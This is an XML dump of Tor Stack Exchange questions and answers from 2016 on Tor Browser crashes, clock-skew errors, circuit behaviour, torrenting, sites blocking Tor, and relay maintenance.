  <row Id="10439" PostTypeId="2" ParentId="10427" CreationDate="2016-05-13T20:31:39.480" Score="1" Body="&lt;p&gt;&quot;Stock apps&quot; may be getting your location from the local device through GPS, knowledge of visible cell towers or visible wireless networks. There is nothing that network level location anonymity can do if the local application is snitching on you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, you should be careful which apps you use and you should be careful about forcing transproxy across all apps. Since transproxy has no context for what it is transferring over the tor network, different applications may share the same circuit which could end up linking e.g. your youtube usage with your twitter or facebook usage, even if one of these is intended to be unlinkable to your other online identit{y,ies}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike Perry wrote a good summation of what approaches may be taken and what problems still remain: &lt;a href=&quot;https://blog.torproject.org/blog/mission-impossible-hardening-android-security-and-privacy&quot; rel=&quot;nofollow&quot;&gt;Mission Impossible: Hardening Android for Security and Privacy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Android, especially with GApps, is a privacy nightmare. Cyanogenmod's &quot;Privacy Guard&quot; may help but ultimately maintaining a list of permissions and dealing with the unexpected breakages from them is a daunting and ultimately overwhelming task. You should attempt to use application that respect your privacy, and work with you to help maintain it, from the very beginning rather than trying to force apps to stop actively trying to betray you.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-13T20:31:39.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10440" PostTypeId="1" CreationDate="2016-05-13T20:37:22.540" Score="2" ViewCount="346" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oaoNG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaoNG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor dialog (above) says it will create a log, but does not.  Deleted Tor and reinstalling leads to same error.&lt;/p&gt;&#xA;" OwnerUserId="12865" LastEditorUserId="88" LastEditDate="2016-05-15T16:02:03.377" LastActivityDate="2018-09-14T15:49:37.493" Title="Torbrowser 5.5.5 autoexits when opening on El capitan" Tags="|mac|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostTypeId="2" ParentId="10438" CreationDate="2016-05-13T20:43:08.680" Score="2" Body="&lt;p&gt;You won't change IP mid-download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor considers creating new circuits by looking at the 'dirtiness' of existing circuits. If a new connection request is received and the current circuit is more than 10 minutes old, it will build a new circuit for the connection. However any connections which are on the old (&gt;10 minute) circuit will be unaffected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are experiencing breaks in connectivity, it is unrelated to this property. Adjusting this property will make your circuits look different from all other Tor users and as such will potentially catastrophically affect your anonymity set, it is not recommended to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser uses the &lt;code&gt;KeepAliveIsolateSOCKSAuth&lt;/code&gt; &lt;code&gt;SOCKSPort&lt;/code&gt; flag to achieve long-term sessions. Since Tor Browser uses SOCKS5 authentication to isolate connections between hosts, each time a new connection is made to the same host the &quot;dirtiness&quot; is reset to 0. This means that as long as connections are actively happening within the 10 minute period, the circuit will remain open indefinitely. This improves user experience for websites which link IP addresses to login sessions for Tor Browser users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be the solution you are looking for but I am unsure if Orfox is yet using SOCKS5 isolation, as I understand it is still under heavy development but as explained above: &lt;strong&gt;I do not believe that your problems are related to changes in circuit and you should look for other possible problems first.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-13T20:43:08.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10443" PostTypeId="2" ParentId="10433" CreationDate="2016-05-14T04:28:40.643" Score="0" Body="&lt;p&gt;I've got the same exact issue, and unfortunately all I can do at this point is provide more info. This crash just started recently. Downloading the latest distribution and re-installing does not resolve it. The entry in the Windows application log looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Faulting application name: firefox.exe, version: 38.8.0.0, time stamp: 0x00000000&#xA;Faulting module name: msvcrt.dll, version: 7.0.10586.0, time stamp: 0x5632d722&#xA;Exception code: 0xc0000005&#xA;Fault offset: 0x0008a209&#xA;Faulting process id: 0x1c4c&#xA;Faulting application start time: 0x01d1ad8b983b48b3&#xA;Faulting application path: C:\Portables\Tor\Tor Browser\Browser\firefox.exe&#xA;Faulting module path: C:\WINDOWS\SYSTEM32\msvcrt.dll&#xA;Report Id: f45757fc-aa03-48f6-894f-d01d8f034248&#xA;Faulting package full name: &#xA;Faulting package-relative application ID: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Crash report:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Version=1&#xA;EventType=APPCRASH&#xA;EventTime=131076694244616531&#xA;ReportType=2&#xA;Consent=1&#xA;UploadTime=131076694245866747&#xA;ReportIdentifier=546b6bc4-1982-11e6-bf49-60a44c60dc89&#xA;IntegratorReportIdentifier=f672dc98-8995-4d1f-a5cb-07426b7cd345&#xA;WOW64=1&#xA;NsAppName=firefox.exe&#xA;Response.BucketId=3f729cc32219c25b9a23ec4d80593ab3&#xA;Response.BucketTable=1&#xA;Response.LegacyBucketId=108151515479&#xA;Response.type=4&#xA;Sig[0].Name=Application Name&#xA;Sig[0].Value=firefox.exe&#xA;Sig[1].Name=Application Version&#xA;Sig[1].Value=38.8.0.0&#xA;Sig[2].Name=Application Timestamp&#xA;Sig[2].Value=00000000&#xA;Sig[3].Name=Fault Module Name&#xA;Sig[3].Value=msvcrt.dll&#xA;Sig[4].Name=Fault Module Version&#xA;Sig[4].Value=7.0.10586.0&#xA;Sig[5].Name=Fault Module Timestamp&#xA;Sig[5].Value=5632d722&#xA;Sig[6].Name=Exception Code&#xA;Sig[6].Value=c0000005&#xA;Sig[7].Name=Exception Offset&#xA;Sig[7].Value=0008a209&#xA;DynamicSig[1].Name=OS Version&#xA;DynamicSig[1].Value=10.0.10586.2.0.0.256.48&#xA;DynamicSig[2].Name=Locale ID&#xA;DynamicSig[2].Value=1033&#xA;DynamicSig[22].Name=Additional Information 1&#xA;DynamicSig[22].Value=bdcb&#xA;DynamicSig[23].Name=Additional Information 2&#xA;DynamicSig[23].Value=bdcb33e65a9843796b7ec31cc25bda3b&#xA;DynamicSig[24].Name=Additional Information 3&#xA;DynamicSig[24].Value=b1e9&#xA;DynamicSig[25].Name=Additional Information 4&#xA;DynamicSig[25].Value=b1e9e5e7403b4fc1f3fdca02e40d62b6&#xA;UI[2]=C:\Portables\Tor\Tor Browser\Browser\firefox.exe&#xA;UI[3]=Tor Browser has stopped working&#xA;UI[4]=Windows can check online for a solution to the problem.&#xA;UI[5]=Check online for a solution and close the program&#xA;UI[6]=Check online for a solution later and close the program&#xA;UI[7]=Close the program&#xA;LoadedModule[0]=C:\Portables\Tor\Tor Browser\Browser\firefox.exe&#xA;LoadedModule[1]=C:\WINDOWS\SYSTEM32\ntdll.dll&#xA;LoadedModule[2]=C:\WINDOWS\SYSTEM32\KERNEL32.DLL&#xA;LoadedModule[3]=C:\WINDOWS\SYSTEM32\KERNELBASE.dll&#xA;LoadedModule[4]=C:\WINDOWS\SYSTEM32\ADVAPI32.dll&#xA;LoadedModule[5]=C:\WINDOWS\SYSTEM32\msvcrt.dll&#xA;LoadedModule[6]=C:\WINDOWS\SYSTEM32\WRusr.dll&#xA;LoadedModule[7]=C:\WINDOWS\SYSTEM32\sechost.dll&#xA;LoadedModule[8]=C:\WINDOWS\SYSTEM32\RPCRT4.dll&#xA;LoadedModule[9]=C:\WINDOWS\SYSTEM32\SspiCli.dll&#xA;LoadedModule[10]=C:\WINDOWS\SYSTEM32\CRYPTBASE.dll&#xA;LoadedModule[11]=C:\WINDOWS\SYSTEM32\bcryptPrimitives.dll&#xA;LoadedModule[12]=C:\WINDOWS\SYSTEM32\USER32.dll&#xA;LoadedModule[13]=C:\WINDOWS\SYSTEM32\SHELL32.dll&#xA;LoadedModule[14]=C:\Portables\Tor\Tor Browser\Browser\msvcr100.dll&#xA;LoadedModule[15]=C:\WINDOWS\SYSTEM32\GDI32.dll&#xA;LoadedModule[16]=C:\WINDOWS\SYSTEM32\cfgmgr32.dll&#xA;LoadedModule[17]=C:\WINDOWS\SYSTEM32\ole32.dll&#xA;LoadedModule[18]=C:\WINDOWS\SYSTEM32\windows.storage.dll&#xA;LoadedModule[19]=C:\WINDOWS\SYSTEM32\combase.dll&#xA;LoadedModule[20]=C:\WINDOWS\SYSTEM32\shlwapi.dll&#xA;LoadedModule[21]=C:\WINDOWS\SYSTEM32\PSAPI.DLL&#xA;LoadedModule[22]=C:\WINDOWS\SYSTEM32\kernel.appcore.dll&#xA;LoadedModule[23]=C:\WINDOWS\SYSTEM32\WS2_32.dll&#xA;LoadedModule[24]=C:\WINDOWS\SYSTEM32\shcore.dll&#xA;LoadedModule[25]=C:\WINDOWS\SYSTEM32\OLEAUT32.dll&#xA;LoadedModule[26]=C:\WINDOWS\SYSTEM32\powrprof.dll&#xA;LoadedModule[27]=C:\WINDOWS\SYSTEM32\profapi.dll&#xA;LoadedModule[28]=C:\WINDOWS\SYSTEM32\urlmon.dll&#xA;LoadedModule[29]=C:\WINDOWS\SYSTEM32\WININET.dll&#xA;LoadedModule[30]=C:\WINDOWS\SYSTEM32\OLEACC.dll&#xA;LoadedModule[31]=C:\WINDOWS\SYSTEM32\MSIMG32.dll&#xA;LoadedModule[32]=C:\WINDOWS\SYSTEM32\Secur32.dll&#xA;LoadedModule[33]=C:\WINDOWS\SYSTEM32\iertutil.dll&#xA;LoadedModule[34]=C:\WINDOWS\SYSTEM32\IMM32.DLL&#xA;LoadedModule[35]=C:\WINDOWS\SYSTEM32\CRYPTSP.dll&#xA;LoadedModule[36]=C:\WINDOWS\system32\rsaenh.dll&#xA;LoadedModule[37]=C:\WINDOWS\SYSTEM32\bcrypt.dll&#xA;LoadedModule[38]=C:\Portables\Tor\Tor Browser\Browser\mozsqlite3.dll&#xA;LoadedModule[39]=C:\Portables\Tor\Tor Browser\Browser\mozalloc.dll&#xA;LoadedModule[40]=C:\Portables\Tor\Tor Browser\Browser\mozglue.dll&#xA;LoadedModule[41]=C:\WINDOWS\SYSTEM32\VERSION.dll&#xA;LoadedModule[42]=C:\Portables\Tor\Tor Browser\Browser\nspr4.dll&#xA;LoadedModule[43]=C:\Portables\Tor\Tor Browser\Browser\libssp-0.dll&#xA;LoadedModule[44]=C:\WINDOWS\SYSTEM32\WINMM.DLL&#xA;LoadedModule[45]=C:\WINDOWS\SYSTEM32\WINMMBASE.dll&#xA;LoadedModule[46]=C:\Portables\Tor\Tor Browser\Browser\plds4.dll&#xA;LoadedModule[47]=C:\Portables\Tor\Tor Browser\Browser\plc4.dll&#xA;LoadedModule[48]=C:\Portables\Tor\Tor Browser\Browser\nssutil3.dll&#xA;LoadedModule[49]=C:\Portables\Tor\Tor Browser\Browser\nss3.dll&#xA;LoadedModule[50]=C:\Portables\Tor\Tor Browser\Browser\smime3.dll&#xA;LoadedModule[51]=C:\Portables\Tor\Tor Browser\Browser\ssl3.dll&#xA;LoadedModule[52]=C:\Portables\Tor\Tor Browser\Browser\xul.dll&#xA;LoadedModule[53]=C:\WINDOWS\SYSTEM32\COMDLG32.DLL&#xA;LoadedModule[54]=C:\WINDOWS\SYSTEM32\FirewallAPI.dll&#xA;LoadedModule[55]=C:\WINDOWS\SYSTEM32\NETAPI32.dll&#xA;LoadedModule[56]=C:\WINDOWS\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\COMCTL32.dll&#xA;LoadedModule[57]=C:\WINDOWS\SYSTEM32\SETUPAPI.dll&#xA;LoadedModule[58]=C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL&#xA;LoadedModule[59]=C:\WINDOWS\SYSTEM32\RASAPI32.DLL&#xA;LoadedModule[60]=C:\WINDOWS\SYSTEM32\WINTRUST.dll&#xA;LoadedModule[61]=C:\WINDOWS\SYSTEM32\RASDLG.DLL&#xA;LoadedModule[62]=C:\WINDOWS\SYSTEM32\MSASN1.dll&#xA;LoadedModule[63]=C:\WINDOWS\SYSTEM32\CRYPT32.dll&#xA;LoadedModule[64]=C:\WINDOWS\SYSTEM32\USERENV.dll&#xA;LoadedModule[65]=C:\WINDOWS\SYSTEM32\USP10.dll&#xA;LoadedModule[66]=C:\WINDOWS\SYSTEM32\UxTheme.dll&#xA;LoadedModule[67]=C:\WINDOWS\SYSTEM32\WINSPOOL.DRV&#xA;LoadedModule[68]=C:\WINDOWS\SYSTEM32\WSOCK32.DLL&#xA;LoadedModule[69]=C:\WINDOWS\SYSTEM32\WTSAPI32.dll&#xA;LoadedModule[70]=C:\WINDOWS\SYSTEM32\MPRAPI.dll&#xA;LoadedModule[71]=C:\WINDOWS\SYSTEM32\rtutils.dll&#xA;LoadedModule[72]=C:\WINDOWS\SYSTEM32\rasman.dll&#xA;LoadedModule[73]=C:\WINDOWS\SYSTEM32\DPAPI.dll&#xA;LoadedModule[74]=C:\WINDOWS\SYSTEM32\DAVHLPR.DLL&#xA;LoadedModule[75]=C:\WINDOWS\SYSTEM32\NETUTILS.DLL&#xA;LoadedModule[76]=C:\WINDOWS\SYSTEM32\SAMCLI.DLL&#xA;LoadedModule[77]=C:\WINDOWS\SYSTEM32\fwbase.dll&#xA;LoadedModule[78]=C:\WINDOWS\SYSTEM32\dwmapi.dll&#xA;LoadedModule[79]=C:\WINDOWS\SYSTEM32\dwrite.dll&#xA;LoadedModule[80]=C:\WINDOWS\SYSTEM32\clbcatq.dll&#xA;LoadedModule[81]=C:\WINDOWS\system32\propsys.dll&#xA;LoadedModule[82]=C:\WINDOWS\SYSTEM32\WINNSI.DLL&#xA;LoadedModule[83]=C:\WINDOWS\SYSTEM32\NSI.dll&#xA;LoadedModule[84]=C:\WINDOWS\SYSTEM32\Dnsapi.dll&#xA;LoadedModule[85]=C:\WINDOWS\system32\mswsock.dll&#xA;LoadedModule[86]=C:\Portables\Tor\Tor Browser\Browser\browser\components\browsercomps.dll&#xA;LoadedModule[87]=C:\WINDOWS\SYSTEM32\MSCTF.dll&#xA;LoadedModule[88]=C:\WINDOWS\system32\napinsp.dll&#xA;LoadedModule[89]=C:\WINDOWS\system32\pnrpnsp.dll&#xA;LoadedModule[90]=C:\WINDOWS\system32\NLAapi.dll&#xA;LoadedModule[91]=C:\WINDOWS\System32\winrnr.dll&#xA;LoadedModule[92]=C:\Program Files (x86)\Bonjour\mdnsNSP.dll&#xA;LoadedModule[93]=C:\WINDOWS\SYSTEM32\ntmarta.dll&#xA;LoadedModule[94]=C:\WINDOWS\SYSTEM32\efswrt.dll&#xA;LoadedModule[95]=C:\WINDOWS\SYSTEM32\wintypes.dll&#xA;LoadedModule[96]=C:\WINDOWS\SYSTEM32\edputil.dll&#xA;State[0].Key=Transport.DoneStage1&#xA;State[0].Value=1&#xA;FriendlyEventName=Stopped working&#xA;ConsentKey=APPCRASH&#xA;AppName=Tor Browser&#xA;AppPath=C:\Portables\Tor\Tor Browser\Browser\firefox.exe&#xA;NsPartner=windows&#xA;NsGroup=windows8&#xA;ApplicationIdentity=FA6E326183824350C9D56FBCD3354E3D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I removed TBB from my machine and installed the WindowsSDK so I could try some debugging. After reinstalled, I now get a Firefox dialog on startup saying &quot;Couldn't load XPCOM&quot;. I did some digging and the answer to this question worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/2012/error-message-cannot-load-xpcom-at-the-start-of-tor-browser&quot;&gt;Error message &amp;quot;Cannot load XPCOM&amp;quot; at the start of Tor Browser&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After manually allowing all the files that Webroot had picked up from my Tor installation, the browser launched fine. I'm guessing a recent Webroot update has some definitions in it that block some vital Tor components. I noticed Webroot's web protection is also flagging torproject.org as high risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your case may be different, but start by checking your antivirus.&lt;/p&gt;&#xA;" OwnerUserId="12869" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-05-14T13:50:50.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10444" PostTypeId="1" CreationDate="2016-05-14T04:37:35.843" Score="1" ViewCount="38" Body="&lt;p&gt;Firstly, I am not an Internet or TOR expert I have just started exploring it. BUT after using it OK for a couple of months I have recently noticed what to me is suspicious/odd. Nowadays when ever I use TOR the first node is always the same IP in France. To me that hardly seems secure. This first node happens even if I choose new circuit or new identity several times. It also happens if I use my VPN first (and change the server location several times (eg India Sweden UK)). I didn't use TOR for over 2 weeks connected again today and sure enough the same first node IP. To me always going to the same first node seems very odd as I would have thought one of the benefits of TOR would be random circuits Do I have a problem or am I being paranoid?&lt;/p&gt;&#xA;" OwnerUserId="12871" LastActivityDate="2016-05-14T04:37:35.843" Title="Is my TOR installation compromised?" Tags="|relays|" AnswerCount="0" CommentCount="1" ClosedDate="2016-05-14T13:18:06.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="10445" PostTypeId="1" CreationDate="2016-05-14T11:13:23.243" Score="1" ViewCount="30" Body="&lt;pre&gt;&lt;code&gt;14.05.2016 14:00:28.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;14.05.2016 14:00:28.600 [NOTICE] Renaming old configuration file to &quot;C:\Users\Îëüãà\Downloads\TorBrowserPortable\App\TorBrowser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;14.05.2016 14:00:29.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;14.05.2016 14:00:29.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;14.05.2016 14:00:29.600 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;14.05.2016 14:00:29.700 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;14.05.2016 14:00:29.800 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;14.05.2016 14:00:31.100 [WARN] Received directory with skewed time (server '131.188.40.189:443'): It seems that our clock is behind by 1 hours, 0 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;14.05.2016 14:00:31.100 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;14.05.2016 14:00:32.400 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;14.05.2016 14:00:33.300 [WARN] Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 1 hours, 0 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;14.05.2016 14:00:33.300 [WARN] Our clock is 59 minutes, 27 seconds behind the time published in the consensus network status document (2016-05-14 11:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;14.05.2016 14:00:33.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;14.05.2016 14:01:30.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;14.05.2016 14:02:31.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;14.05.2016 14:03:32.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;14.05.2016 14:08:37.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;14.05.2016 14:08:41.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;14.05.2016 14:08:41.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;14.05.2016 14:08:41.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;14.05.2016 14:08:42.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12878" LastEditorUserId="17825" LastEditDate="2017-06-12T22:54:15.917" LastActivityDate="2017-06-12T22:54:15.917" Title="Can't run tor. Please help!" Tags="|help|" AnswerCount="0" CommentCount="0" ClosedDate="2016-05-14T13:16:49.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostTypeId="1" CreationDate="2016-05-14T16:15:05.247" Score="0" ViewCount="60" Body="&lt;p&gt;I know that even official Tor project website clearly says that it's bad idea to use torrents &lt;strong&gt;over&lt;/strong&gt; Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just want to clarify.&#xA;If I understand correctly, to run torrents over Tor I have to run TBB and then specify in Torrent Client to use SOCKS5 proxy (IP and port of the machine which runs TBB for example &lt;code&gt;127.0.0.1:9150&lt;/code&gt; if I run both apps on the same machine.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I compromise my anonymity in any way if I just run TBB and Transmission(without using SOCKS proxy) on the same machine simultaneously?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My network is behind the NAT (just in case it makes any difference)&lt;/p&gt;&#xA;" OwnerUserId="12879" LastEditorUserId="12879" LastEditDate="2016-05-14T17:47:23.947" LastActivityDate="2016-05-14T20:00:57.233" Title="Using Torrents and Tor simultaneously on the same machine" Tags="|tor-browser-bundle|anonymity|bittorrent|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-05-15T15:58:52.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="10451" PostTypeId="2" ParentId="64" CreationDate="2016-05-14T20:00:57.233" Score="2" Body="&lt;p&gt;In theory, it doesn't compromise it any more than torrenting already does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should be wary of is cross-contamination, fetching a torrent over Tor then loading into your torrent client. The torrent file or magnet link itself could be &quot;tainted&quot; to link the identity that downloaded the torrent file to the one that connects to the trackers/DHT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure you're using a fresh Tor Browser session by using &lt;code&gt;New Identity&lt;/code&gt; before you ever do this, and use &lt;code&gt;New Identity&lt;/code&gt; again once you're done to avoid cross-contaminating any anonymous or pseudonymous identities you might have with the identity participating in the peer-swarm.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-14T20:00:57.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostTypeId="2" ParentId="10136" CreationDate="2016-05-14T20:18:34.267" Score="2" Body="&lt;p&gt;You should read about how nmap works and how iptables transproxying works or SOCKS proxying works and then realise that you will not be able to effectively nmap over a whonix gateway nor should you ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nmap uses by default the &quot;SYN Scan&quot; technique, this means that it sends a TCP SYN packet to each of the ip:port pairs on the list, if it gets a SYN+ACK back from the destination, it considers the port open. (If it gets a RST then, conversely, it considers it 'closed' and if nothing ever comes back it considers it 'filtered').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a local SOCKS proxy is expected to accept a connection then &quot;dial&quot; the remote address, it's always &quot;open&quot; in the proxychain/torsocks case. And similarly transproxy will produce the same results results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port scanning over Tor is both harmful to the Tor network (its loud, obvious and generates a lot of &quot;abuse&quot; reports for exit operators to deal with) and ineffective. You should not do it, there are better methods for both you and the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-14T20:18:34.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10453" PostTypeId="1" CreationDate="2016-05-14T21:47:02.580" Score="2" ViewCount="3889" Body="&lt;p&gt;Here's the issue with a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used VPN plus Tor: I got banned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use VPN (but use a normal browser), I am Ok and can normally do what I have to do at that website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the Tor exit nodes are publicly known, and the websites have software to sniff our Tor, then the number of websites that disallow Tor will increasingly grow. and there will be a day when Tor can't be used on any website at all, if my logic is OK so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anyone shed any more light on this? How do I use Tor and not get banned at a website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have to use any bridge software as I can access Tor directly.&lt;/p&gt;&#xA;" OwnerUserId="12885" LastEditorUserId="12737" LastEditDate="2016-12-19T09:52:18.203" LastActivityDate="2016-12-19T10:24:43.387" Title="A website is stopping access from Tor, are there any solutions?" Tags="|anonymity|censorship|ip-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10454" PostTypeId="1" CreationDate="2016-05-14T23:45:08.607" Score="1" ViewCount="48" Body="&lt;p&gt;The subject line says it all. I want the tor browser or tails to be just clients. Is there a way to check the settings if the tor browser and tails are being used as clients only. Thanks&lt;/p&gt;&#xA;" OwnerUserId="12887" LastActivityDate="2016-05-15T00:56:59.507" Title="Does the tor browser or tails makes my computer part of a tor relay or exit node by default?" Tags="|tor-browser-bundle|tails|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-05-15T15:53:58.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostTypeId="2" ParentId="10032" CreationDate="2016-05-15T00:56:59.507" Score="6" Body="&lt;p&gt;Neither make you a relay of any sort, they will both act as clients only by default and neither have options to turn them into relays of any sort. You would need to go out of your way to manually change configurations to actually become a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is by design, it would violate user expectations (principle of least astonishment) and the normal use case for both tails and tor browser (desktop/laptop with a commercial home internet connection) do not make good relays.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-15T00:56:59.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10456" PostTypeId="2" ParentId="10453" CreationDate="2016-05-15T01:07:46.787" Score="1" Body="&lt;p&gt;Your logic is not okay so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some links you might find useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/call-arms-helping-internet-services-accept-anonymous-users&quot; rel=&quot;nofollow&quot;&gt;A call to arms: Helping Internet services accept anonymous users&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/trouble-cloudflare&quot; rel=&quot;nofollow&quot;&gt;The Trouble with CloudFlare&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately there is no technical solution to the problem that does not compromise your anonymity. Exit points being known protects the people who operate them (e.g. &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct solution to this problem is advocacy, as per the first link above! You should contact the sites owners and encourage them to either allow anonymous access or find better means of stopping abuses of the service they provide, rather than a blanket blacklist.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-15T01:07:46.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostTypeId="1" CreationDate="2016-05-15T06:50:00.523" Score="0" ViewCount="3000" Body="&lt;p&gt;I'm facing some connectivity issues with accessing Tails along with IP vanish software. This is what I'm doing&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Used IP vanish and selected a different server location&lt;/li&gt;&#xA;&lt;li&gt;Installed Oracle Virtual Box and installed Tails OS. It simply says that TOR is unable to connect due to some proxy settings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I'm doing this because I believe using IP vanish along with Tails would offer a better security from being traced back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="12418" LastActivityDate="2017-03-02T09:45:35.300" Title="Using IPVanish with Tails" Tags="|tails|virtual-machine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10459" PostTypeId="1" AcceptedAnswerId="10460" CreationDate="2016-05-15T13:10:30.347" Score="1" ViewCount="616" Body="&lt;p&gt;To my current understanding, the longer the Tor relay operates continuously, the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I want to do some maintenance on the server? I don't want to lose the newly given Guard flag (status). Currently the relay operates a week straight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;br&gt;&#xA;With regard that it is a completely new relay, should I run at least those 68 days straight before I do the first maintenance tasks?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2016-05-15T13:45:27.007" Title="How often can I / should I restart my new Tor relay?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10460" PostTypeId="2" ParentId="10459" CreationDate="2016-05-15T13:45:27.007" Score="3" Body="&lt;p&gt;You can restart it for sure - once a day is no problem! I've tried to run it many days straight and with restarts - same result in flags. And it's a &lt;em&gt;correct&lt;/em&gt; flagging behaviour : the relays must not be penaltized for restarting, because a patch-tasks are in order in a real and safe operational schedule. My relay's restart lasts 2 minutes with full system reboot, and it have not affected a flags.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-15T13:45:27.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
